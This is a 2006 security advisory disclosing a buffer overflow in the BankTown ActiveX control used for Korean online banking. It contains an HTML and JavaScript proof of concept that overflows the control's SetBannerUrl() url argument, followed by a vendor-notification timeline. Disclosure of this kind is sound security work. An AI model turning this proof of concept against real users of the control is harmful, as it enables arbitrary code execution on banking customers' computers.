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[NT] BankTown's ActiveX Buffer Overflow

Subject: [NT] BankTown's ActiveX Buffer Overflow
Date: 4 May 2006 16:33:25 +0200
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  BankTown's ActiveX Buffer Overflow
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SUMMARY

BankTown's ActiveX is a component which allows users to access banks in 
Korea.

Improper input validation allows attackers to execute arbitrary code using 
BankTown's ActiveX.

DETAILS

Vulnerable Systems:
 * BankTown Client Control version 1,4,2,51817

BankTown's ActiveX contain the function SetBannerUrl(). This function 
required two arguments (id and url).
The function does not validate the url argument.
By using magic string such as 
'http://www.hacked_banktown.com/_magic_string_/' then the ActiveX will 
lead to buffer overflow.

The return EIP would be similar to '0x41414141'.

Proof of Concept:
< BODY>
< OBJECT id="GotBT" width=0 height=0
classid="CLSID:C572979D-8383-4CCA-A37A-0F7CC3B62D81"
        
CODEBASE="http://download.banktown.com/XXXXXXXXXXXXX/BtCxSFM20F.cab#version=1,4,2,51817";>
< / OBJECT>

< script language=javascript>
<!--
function go() {
var str1 = "Hacked";
var str2 = "http://www.hacked_X_.org/Magic_length/Magic_strings";;
        val = GotBT.SetBannerUrl(str2, str1);
}
go();
< / SCRIPT>
< / body>

Disclosure Timeline:
21. 04. 2006 initiate notified
26. 04. 2006 Second notified
02. 05. 2006 Third notified but not responded
03. 05. 2006 Disclosure Vulnerability


ADDITIONAL INFORMATION

The information has been provided by  <mailto:saintlinu@gmail.com> Alex 
Park.



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